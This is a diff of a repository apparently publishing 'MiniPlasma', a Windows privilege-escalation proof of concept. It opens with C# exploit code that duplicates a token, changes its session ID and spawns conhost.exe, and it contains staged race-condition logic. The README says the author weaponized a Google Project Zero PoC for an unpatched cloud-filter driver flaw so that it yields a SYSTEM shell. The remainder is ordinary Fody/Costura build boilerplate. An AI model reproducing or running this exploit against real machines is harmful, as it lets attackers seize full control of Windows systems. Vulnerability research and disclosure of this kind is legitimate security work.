if (!GetNamedPipeServerSessionId(hPipe, out nSesID))
|
||||
return;
|
||||
namedpipeclient.Dispose();
|
||||
NtToken token = NtToken.OpenEffectiveToken();
|
||||
NtToken token2 = token.DuplicateToken();
|
||||
token.Dispose();
|
||||
token = token2;
|
||||
token.SetSessionId(((int)nSesID));
|
||||
Win32Process.CreateProcessAsUser(token, @"C:\Windows\System32\conhost.exe", "", CreateProcessFlags.None, null);
|
||||
return;
|
||||
|
||||
}
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
CfGetPlatformInfo(out CF_PLATFORM_INFO _).Check();
|
||||
|
||||
if (args.Length <= 1)
|
||||
{
|
||||
int stage = args.Length > 0 ? int.Parse(args[0]) : 0;
|
||||
switch (stage)
|
||||
{
|
||||
case 0:
|
||||
Stage0();
|
||||
break;
|
||||
case 1:
|
||||
Stage1(true);
|
||||
break;
|
||||
case 2:
|
||||
Stage2();
|
||||
break;
|
||||
case 3:
|
||||
Stage3();
|
||||
break;
|
||||
default:
|
||||
throw new ArgumentException("Erm?");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
using (var token = TokenUtils.GetLogonUserToken(args[0], "", args[1], SecurityLogonType.Network, null))
|
||||
{
|
||||
using (var imp = token.Impersonate())
|
||||
{
|
||||
CfAbortOperation(NtProcess.Current.ProcessId, IntPtr.Zero, AbortHydrationFlags.Block).Check();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("PoC_AbortHydration_ArbitraryRegKey_EoP")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("PoC_AbortHydration_ArbitraryRegKey_EoP")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2020")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("352f6dd7-9b05-4896-9e7d-2efa36eac6e3")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<packages>
|
||||
<package id="Costura.Fody" version="6.2.0" targetFramework="net472" developmentDependency="true" />
|
||||
<package id="Fody" version="6.9.3" targetFramework="net472" developmentDependency="true" />
|
||||
<package id="NtApiDotNet" version="1.1.33" targetFramework="net481" />
|
||||
<package id="TaskScheduler" version="2.12.2" targetFramework="net481" />
|
||||
</packages>
|
||||
@@ -0,0 +1,16 @@
|
||||
# MiniPlasma
|
||||
|
||||
After re-investigating the technique used in GreenPlasma (specifically SetPolicyVal), it turns out cldflt!HsmOsBlockPlaceholderAccess is still vulnerable to the exact same issue that was reported to Microsoft 6 years ago.
|
||||
I'm not taking full credit for this, James Forshaw from google project zero found the vulnerability and reported it to Microsoft and was supposedly fixed as [CVE-2020-17103](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17103).
|
||||
|
||||
However, a research who's a friend of mine pointed out that the routine might still have a vulnerability, which is something I considered but brushed off because I thought it was impossible for Microsoft to just not patch this or rollback the patch.
|
||||
|
||||
After investigating, it turns out the exact same issue that [was reported to Microsoft by Google project zero](https://project-zero.issues.chromium.org/issues/42451192) is actually still present, unpatched. I'm unsure if Microsoft just never patched the issue or the patch was silently rolled back at some point for unknown reasons. The original PoC by Google worked without any changes.
|
||||
|
||||
To highlight this issue, I weaponized the original PoC to spawn a SYSTEM shell. It seems to work reliably in my machines but success rate may vary since it's a race condition.
|
||||
|
||||
I believe all Windows versions are affected by this vulnerability.
|
||||
|
||||
<img width="1402" height="818" alt="poc" src="https://github.com/user-attachments/assets/d94b77e5-fba5-47d8-8ae8-8cf5b3d5f686" />
|
||||
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,15 @@
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
|
||||
<PropertyGroup>
|
||||
<WeaverRuntimeToken
|
||||
Condition="$(MSBuildRuntimeType) != 'Core'">netclassicweaver</WeaverRuntimeToken>
|
||||
<WeaverRuntimeToken
|
||||
Condition="$(MSBuildRuntimeType) == 'Core'">netstandardweaver</WeaverRuntimeToken>
|
||||
</PropertyGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<WeaverFiles
|
||||
Include="$(MsBuildThisFileDirectory)..\$(WeaverRuntimeToken)\$(MSBuildThisFileName).dll" />
|
||||
</ItemGroup>
|
||||
|
||||
</Project>
|
||||
@@ -0,0 +1,13 @@
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
|
||||
<PropertyGroup Condition="$(CosturaRemoveCopyLocalFilesToPublish) == ''">
|
||||
<CosturaRemoveCopyLocalFilesToPublish>true</CosturaRemoveCopyLocalFilesToPublish>
|
||||
</PropertyGroup>
|
||||
|
||||
<Target Name="CosturaRemoveAlreadyEmbeddedFilesFromPublish" AfterTargets="ComputeResolvedFilesToPublishList" Condition="$(CosturaRemoveCopyLocalFilesToPublish) == 'true'">
|
||||
<ItemGroup>
|
||||
<ResolvedFileToPublish Remove="@(FodyRemovedReferenceCopyLocalPaths)" />
|
||||
</ItemGroup>
|
||||
</Target>
|
||||
|
||||
</Project>
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 1.5 KiB |
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,23 @@
|
||||
<?xml version="1.0"?>
|
||||
<doc>
|
||||
<assembly>
|
||||
<name>Costura</name>
|
||||
</assembly>
|
||||
<members>
|
||||
<member name="T:MethodTimeLogger">
|
||||
<summary>
|
||||
Note: do not rename this class or put it inside a namespace.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="T:CosturaUtility">
|
||||
<summary>
|
||||
Contains methods for interacting with the Costura system.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="M:CosturaUtility.Initialize">
|
||||
<summary>
|
||||
Call this to Initialize the Costura system.
|
||||
</summary>
|
||||
</member>
|
||||
</members>
|
||||
</doc>
|
||||
Binary file not shown.
@@ -0,0 +1,160 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<xs:complexType xmlns:xs="http://www.w3.org/2001/XMLSchema">
|
||||
<xs:all>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimes" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtimes to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimes" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtimes names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Obsolete, use UnmanagedWinX86Assemblies instead</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinX86Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Obsolete, use UnmanagedWinX64Assemblies instead.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinX64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinArm64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeRuntimeReferences" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if runtime assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="UseRuntimeReferencePaths" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCompression" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCleanup" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableEventSubscription" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Obsolete, use UnmanagedWinX86Assemblies instead</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="UnmanagedWinX86Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged X86 (32 bit) assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Obsolete, use UnmanagedWinX64Assemblies instead</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="UnmanagedWinX64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged X64 (64 bit) assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="UnmanagedWinArm64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
Binary file not shown.
@@ -0,0 +1,160 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<xs:complexType xmlns:xs="http://www.w3.org/2001/XMLSchema">
|
||||
<xs:all>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimes" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtimes to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimes" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtimes names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Obsolete, use UnmanagedWinX86Assemblies instead</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinX86Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Obsolete, use UnmanagedWinX64Assemblies instead.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinX64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinArm64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeRuntimeReferences" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if runtime assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="UseRuntimeReferencePaths" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCompression" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCleanup" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableEventSubscription" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Obsolete, use UnmanagedWinX86Assemblies instead</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="UnmanagedWinX86Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged X86 (32 bit) assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Obsolete, use UnmanagedWinX64Assemblies instead</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="UnmanagedWinX64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged X64 (64 bit) assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="UnmanagedWinArm64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
BIN
Binary file not shown.
BIN
Binary file not shown.
+149
@@ -0,0 +1,149 @@
|
||||
<Project>
|
||||
<PropertyGroup>
|
||||
<ProjectWeaverXml Condition="$(ProjectWeaverXml) == ''">$(ProjectDir)FodyWeavers.xml</ProjectWeaverXml>
|
||||
<FodyPath Condition="$(FodyPath) == ''">$(MSBuildThisFileDirectory)..\</FodyPath>
|
||||
<FodyAssemblyDirectory Condition="$(MSBuildRuntimeType) == 'Core'">$(FodyPath)tasks\netstandard2.0</FodyAssemblyDirectory>
|
||||
<FodyAssemblyDirectory Condition="$(MSBuildRuntimeType) != 'Core'">$(FodyPath)tasks\net472</FodyAssemblyDirectory>
|
||||
<FodyAssembly Condition="$(FodyAssembly) == ''">$(FodyAssemblyDirectory)\FodyTasks.dll</FodyAssembly>
|
||||
<DefaultItemExcludes>$(DefaultItemExcludes);FodyWeavers.xsd</DefaultItemExcludes>
|
||||
<FodyGenerateXsd Condition="$(FodyGenerateXsd) == ''">true</FodyGenerateXsd>
|
||||
<MsBuildMajorVersion>15</MsBuildMajorVersion>
|
||||
<MsBuildMajorVersion Condition="'$(MSBuildVersion)' != ''">$([System.Version]::Parse($(MSBuildVersion)).Major)</MsBuildMajorVersion>
|
||||
<FodyAfterTargets Condition="($(MsBuildMajorVersion) < 17) AND '$(FodyAfterTargets)'==''">AfterCompile</FodyAfterTargets>
|
||||
<TargetsTriggeredByCompilation Condition="'$(FodyAfterTargets)'==''">$(TargetsTriggeredByCompilation);FodyTarget</TargetsTriggeredByCompilation>
|
||||
<DisableFody Condition='$(UseWPF)==true AND $(MSBuildProjectName.EndsWith("_wpftmp"))'>true</DisableFody>
|
||||
<FodyTreatWarningsAsErrors Condition="$(FodyTreatWarningsAsErrors) == ''">$(TreatWarningsAsErrors)</FodyTreatWarningsAsErrors>
|
||||
</PropertyGroup>
|
||||
|
||||
<ItemGroup Condition="Exists($(ProjectWeaverXml))">
|
||||
<UpToDateCheckInput Include="$(ProjectWeaverXml)" />
|
||||
<CustomAdditionalCompileInputs Include="$(ProjectWeaverXml)" />
|
||||
</ItemGroup>
|
||||
|
||||
<!-- Support for NCrunch -->
|
||||
<ItemGroup Condition="'$(NCrunch)' == '1' and '$(TargetFramework)' == '' and '$(TargetFrameworks)' == ''">
|
||||
<None Include="$(FodyAssemblyDirectory)\*.*" />
|
||||
<None Include="@(WeaverFiles)" />
|
||||
</ItemGroup>
|
||||
|
||||
<UsingTask TaskName="Fody.WeavingTask" AssemblyFile="$(FodyAssembly)" />
|
||||
<UsingTask TaskName="Fody.UpdateCopyLocalTask" AssemblyFile="$(FodyAssembly)" />
|
||||
<UsingTask TaskName="Fody.VerifyTask" AssemblyFile="$(FodyAssembly)" />
|
||||
|
||||
<Target
|
||||
Name="FodyTarget"
|
||||
AfterTargets="$(FodyAfterTargets)"
|
||||
Condition="Exists(@(IntermediateAssembly)) And ($(DesignTimeBuild) != true Or $(BuildingForLiveUnitTesting) == true) And $(DisableFody) != true"
|
||||
DependsOnTargets="$(FodyDependsOnTargets)"
|
||||
Inputs="@(IntermediateAssembly);$(ProjectWeaverXml)"
|
||||
Outputs="$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.CopyLocal.cache;$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.RuntimeCopyLocal.cache">
|
||||
|
||||
<Error Condition="($(MsBuildMajorVersion) < 16)"
|
||||
Text="Fody is only supported on MSBuild 16 and above. Current version: $(MsBuildMajorVersion)." />
|
||||
|
||||
<Fody.WeavingTask
|
||||
AssemblyFile="@(IntermediateAssembly)"
|
||||
IntermediateDirectory="$(ProjectDir)$(IntermediateOutputPath)"
|
||||
KeyOriginatorFile="$(KeyOriginatorFile)"
|
||||
AssemblyOriginatorKeyFile="$(AssemblyOriginatorKeyFile)"
|
||||
ProjectDirectory="$(MSBuildProjectDirectory)"
|
||||
ProjectFile="$(MSBuildProjectFullPath)"
|
||||
SolutionDirectory="$(SolutionDir)"
|
||||
References="@(ReferencePath)"
|
||||
SignAssembly="$(SignAssembly)"
|
||||
DelaySign="$(DelaySign)"
|
||||
ReferenceCopyLocalFiles="@(ReferenceCopyLocalPaths)"
|
||||
RuntimeCopyLocalFiles="@(RuntimeCopyLocalItems)"
|
||||
DefineConstants="$(DefineConstants)"
|
||||
DocumentationFile="@(DocFileItem->'%(FullPath)')"
|
||||
WeaverFiles="@(WeaverFiles)"
|
||||
WeaverConfiguration="$(WeaverConfiguration)"
|
||||
PackageReferences="@(PackageReference)"
|
||||
NCrunchOriginalSolutionDirectory="$(NCrunchOriginalSolutionDir)"
|
||||
IntermediateCopyLocalFilesCache="$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.CopyLocal.cache"
|
||||
RuntimeCopyLocalFilesCache="$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.RuntimeCopyLocal.cache"
|
||||
GenerateXsd="$(FodyGenerateXsd)"
|
||||
TreatWarningsAsErrors="$(FodyTreatWarningsAsErrors)"
|
||||
>
|
||||
|
||||
<Output
|
||||
TaskParameter="ExecutedWeavers"
|
||||
